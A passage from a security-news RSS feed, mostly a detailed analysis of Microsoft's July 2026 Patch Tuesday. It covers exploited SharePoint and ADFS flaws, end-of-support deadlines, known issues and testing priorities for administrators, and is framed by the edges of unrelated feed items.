Agent Kim Reactivated Episode 8 arrives on Netflix on July 18. Do you think Manager Kim will finally escape with Min-ji, or will another betrayal place his family in danger? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]></title>
<description><![CDATA[Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Se...]]></description>
<link>https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</guid>
<pubDate>Fri, 17 Jul 2026 18:08:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155</a>), and an elevation of privilege in <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> Server (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>). A third, a <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) is publicly disclosed but not yet exploited.</p>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy <a href="https://applicationreadiness.com/perspectives/assurance-security-dashboard-july-2026-patch-tuesday/">infographic</a> of the expected risk profile of this month’s Patch Tuesday updates.</p>



<h2 class="wp-block-heading">Known issues</h2>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July release note</a> flags known issues against the following updates:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Secure Boot</a> State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) keeps the component in focus.</li>
</ul>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a> synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287">CVE-2025-59287</a>. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.</li>
</ul>



<p class="wp-block-paragraph">Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the <a href="https://techcommunity.microsoft.com/blog/hardware-dev-center/updated-graphics-driver-publishing-policy-from-4-part-to-2-part-hwid--chid-targe/4519070">Hardware Dev Center</a>). The two-part HWID pilot runs to September 2026.</p>



<h2 class="wp-block-heading">Major revisions and mitigations</h2>



<p class="wp-block-paragraph">Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.</p>



<h2 class="wp-block-heading">Windows lifecycle and enforcement updates</h2>



<p class="wp-block-paragraph">This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a> take some of their most active security updates ever on platforms receiving their last.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016">SharePoint Server 2016</a> and <a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019">2019</a>, <a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016">Project Server 2016</a> and 2019, <a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016">SQL Server 2016</a> and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.</li>
</ul>



<p class="wp-block-paragraph">The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24932">CVE-2023-24932</a> can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview">Kerberos</a> RC4 hardening (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20833">CVE-2026-20833</a>) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.</p>



<p class="wp-block-paragraph">Microsoft’s <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-components">Print Spooler</a>, four win32k entries, and two <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GDI+</a> metafile entries. <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.</p>



<h2 class="wp-block-heading">Printing and graphics (high risk)</h2>



<p class="wp-block-paragraph">The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.</p>



<ul class="wp-block-list">
<li>Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change</li>



<li>Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes</li>



<li>Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF</li>



<li>Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows</li>
</ul>



<h2 class="wp-block-heading">Storage and file systems (high risk)</h2>



<p class="wp-block-paragraph">Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a>, and <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.</p>



<ul class="wp-block-list">
<li>Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active</li>



<li>Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work</li>



<li>Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination</li>



<li>On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported</li>
</ul>



<h2 class="wp-block-heading">Devices, input and networking (high risk)</h2>



<p class="wp-block-paragraph">Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.</p>



<ul class="wp-block-list">
<li>Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL</li>



<li>Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep</li>



<li>Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles</li>



<li>Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> Server (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB</a>, <a href="https://learn.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview">NFS</a>, Message Queuing (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/remote/remote-access/remote-access">RRAS</a> administration, client VPN, and WinHTTP/WinINet consumers</li>
</ul>



<h2 class="wp-block-heading">Other windows components</h2>



<p class="wp-block-paragraph">Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.</p>



<h2 class="wp-block-heading">Shell hardening and LSA isolation</h2>



<p class="wp-block-paragraph">These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.</p>



<ul class="wp-block-list">
<li>Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">Mark of the Web</a> into a folder and confirm the system refuses to extract its icon and leaks no <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview">NTLM</a> credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything</li>



<li>LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">Virtualization-based Security</a> if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7</li>



<li>Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking</li>
</ul>



<h2 class="wp-block-heading">Office &amp; SharePoint</h2>



<p class="wp-block-paragraph">July’s <a href="https://learn.microsoft.com/en-us/office/">Office</a> wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so <a href="https://learn.microsoft.com/en-us/deployoffice/overview-office-deployment-tool">Click-to-Run</a> estates can sit this one out.</p>



<ul class="wp-block-list">
<li>On MSI Office 2016, apply the client updates – <a href="https://learn.microsoft.com/en-us/office/client-developer/excel/excel-home">Excel</a> (KB5002886), <a href="https://learn.microsoft.com/en-us/office/client-developer/word/word-home">Word</a> (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (<a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002273">KB5002273</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002887">KB5002887</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002748">KB5002748</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002857">KB5002857</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002830">KB5002830</a>) – then exercise macros, external data, embedded objects, and any line-of-business add-ins</li>



<li>On <a href="https://learn.microsoft.com/en-us/sharepoint/sharepoint-server">SharePoint Server</a>, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there</li>
</ul>



<p class="wp-block-paragraph">Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.</p>



<h2 class="wp-block-heading">Developer tools &amp; databases</h2>



<p class="wp-block-paragraph">The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/dotnet/core/sdk">.NET</a>: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally</li>



<li><a href="https://learn.microsoft.com/en-us/sql/sql-server/">SQL Server</a>: the <a href="https://learn.microsoft.com/en-us/troubleshoot/sql/releases/servicing-models-sql-server">GDR</a> updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly</li>



<li>Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches</li>
</ul>



<p class="wp-block-paragraph">The Readiness team recommends the following priorities for your larger enterprise deployments:</p>



<ul class="wp-block-list">
<li>Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else</li>



<li>Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass</li>



<li>Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites</li>



<li>Run the scripted KeyGuard validation on any <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a> estate, preferably on a dedicated machine.</li>
</ul>



<p class="wp-block-paragraph">Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:</p>



<ul class="wp-block-list">
<li>Browsers (Microsoft IE and Edge)</li>



<li>Microsoft Windows (both desktop and server)</li>



<li>Microsoft Office</li>



<li>Microsoft Exchange and SQL Server</li>



<li>Microsoft Developer Tools (Visual Studio and .NET)</li>



<li>Adobe (if you get this far)</li>
</ul>



<h2 class="wp-block-heading">Browsers</h2>



<p class="wp-block-paragraph">Edge has had a busier month than usual. Microsoft addressed 46 <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-for-business">Microsoft Edge</a> (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289">CVE-2026-58289</a>, a remote code execution flaw. A run of further RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981">CVE-2026-57981</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645">CVE-2026-56645</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974">CVE-2026-57974</a>) follows.</p>



<ul class="wp-block-list">
<li>Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.</li>



<li>Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the <a href="https://chromereleases.googleblog.com/">Chrome releases blog</a> for the upstream notes.</li>
</ul>



<p class="wp-block-paragraph">The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.</p>



<h2 class="wp-block-heading">Microsoft Windows</h2>



<p class="wp-block-paragraph">Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> – the standout network cluster: DHCP Server remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518">CVE-2026-50518</a>, “Exploitation More Likely,” and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159">CVE-2026-56159</a>), with further critical DHCP Server and DHCP Client RCEs behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564">CVE-2026-48564</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370">CVE-2026-50370</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128">CVE-2026-54128</a>). DHCP servers are the deployment priority.</li>



<li><a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/virtual-switch">VMSwitch</a> and <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> – the Windows VMSwitch elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) is one of the month’s highest-severity flaws, joined by two critical Hyper-V elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680">CVE-2026-50680</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127">CVE-2026-54127</a>), guest-to-host risk on virtualisation hosts.</li>



<li>Network stack RCE – a Windows Server Network driver RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188">CVE-2026-56188</a>, “Exploitation More Likely”), plus <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting">TCP/IP</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999">CVE-2026-54999</a>), the Reliable Multicast Transport Driver (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982">CVE-2026-54982</a>), and SSTP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694">CVE-2026-50694</a>).</li>



<li>Graphics – Windows <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-overview-of-gdi--about">GDI+</a> remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380">CVE-2026-50380</a>) and a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/display/directx-graphics-kernel-subsystem">DirectX Graphics Kernel</a> RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382">CVE-2026-50382</a>), both reachable through document-rendering paths.</li>



<li>Windows Media – a large cluster: three critical <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk">Media Foundation</a> RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090">CVE-2026-57090</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094">CVE-2026-57094</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087">CVE-2026-57087</a>) lead 14 Windows Media and seven Media Foundation entries overall.</li>



<li>Identity infrastructure – beyond the exploited ADFS flaw, <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview">Active Directory Domain Services</a> takes a critical RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) and <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview">Active Directory Certificate Services</a> a critical elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>). Domain controllers take priority again.</li>



<li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler">Print Spooler</a>, <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a>, and MSMQ – critical RCE/EoP in the Print Spooler (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608">CVE-2026-58608</a>), <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">Windows Server Update Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444">CVE-2026-50444</a>), and <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/overview-of-message-queuing-services-architecture">Message Queuing</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992">CVE-2026-54992</a>, “Exploitation More Likely”), all server-role attack surface.</li>
</ul>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-kernel-library">Windows Kernel</a> is the most-patched component (28 CVEs, seven “More Likely”), followed by <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> (21), Windows Runtime (17), Windows Media (14), <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.</p>



<h2 class="wp-block-heading">Microsoft Office</h2>



<p class="wp-block-paragraph">Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.</p>



<ul class="wp-block-list">
<li>SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522">CVE-2026-50522</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644">CVE-2026-58644</a>) and a critical security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040">CVE-2026-55040</a>). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.</li>



<li>Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033">CVE-2026-55033</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127">CVE-2026-55127</a> in Word, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043">CVE-2026-55043</a> in PowerPoint, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018">CVE-2026-55018</a> in Office), topped by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045">CVE-2026-55045</a>.</li>
</ul>



<p class="wp-block-paragraph">With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.</p>



<h2 class="wp-block-heading">Microsoft Exchange and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a></h2>



<p class="wp-block-paragraph">Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. <a href="https://learn.microsoft.com/en-us/exchange/">Exchange Server</a> returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.</p>



<ul class="wp-block-list">
<li>Exchange Server (on-premises) – <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005">CVE-2026-55005</a>) and two elevation-of-privilege flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006">CVE-2026-55006</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009">CVE-2026-55009</a>) round out the on-premises set. A separate Exchange Online elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998">CVE-2026-54998</a>, critical) is fixed service-side with no customer action.</li>



<li>SQL Server – two critical remote code execution flaws: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a> (SQL Server 2025) and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.</li>
</ul>



<p class="wp-block-paragraph">Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.</p>



<h2 class="wp-block-heading">Microsoft developer tools</h2>



<p class="wp-block-paragraph">Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s <a href="https://code.visualstudio.com/">Visual Studio Code</a> concentration toward <a href="https://learn.microsoft.com/en-us/dotnet/core/introduction">.NET</a> and <a href="https://learn.microsoft.com/en-us/aspnet/core/overview?view=aspnetcore-10.0">ASP.NET Core</a>, where a run of denial-of-service entries dominates the volume:</p>



<ul class="wp-block-list">
<li>ASP.NET Core and .NET – the two highest-severity entries are ASP.NET Core elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300">CVE-2026-47300</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303">CVE-2026-47303</a>), ahead of a .NET security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528">CVE-2026-50528</a>) and two .NET / .NET Framework remote code execution flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646">CVE-2026-50646</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649">CVE-2026-50649</a>).</li>



<li><a href="https://learn.microsoft.com/en-us/visualstudio/get-started/visual-studio-ide?view=visualstudio">Visual Studio</a> and VS Code – a GitHub Copilot / Visual Studio Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109">CVE-2026-41109</a>) and a second VS Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102">CVE-2026-57102</a>) lead here, with a VS Code remote code execution entry behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520">CVE-2026-50520</a>) and a Visual Studio RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305">CVE-2026-47305</a>).</li>
</ul>



<p class="wp-block-paragraph">Add these Microsoft updates to your standard developer update release schedule.</p>



<h2 class="wp-block-heading">Adobe (and third-party updates)</h2>



<p class="wp-block-paragraph">Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[When Patching Is Already Too Late]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:16 The discussion makes a bold claim: many organizations no longer have enough time to patch before attackers compromise vulnerable systems.

Instead of treating prevention as the primary strategy, the emphasis shifts toward detecti...]]></description>
<link>https://tsecurity.de/de/3676308/it-security-video/when-patching-is-already-too-late/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676308/it-security-video/when-patching-is-already-too-late/</guid>
<pubDate>Fri, 17 Jul 2026 16:19:12 +0200</pubDate>
<category>🎥 IT Security Video</category>
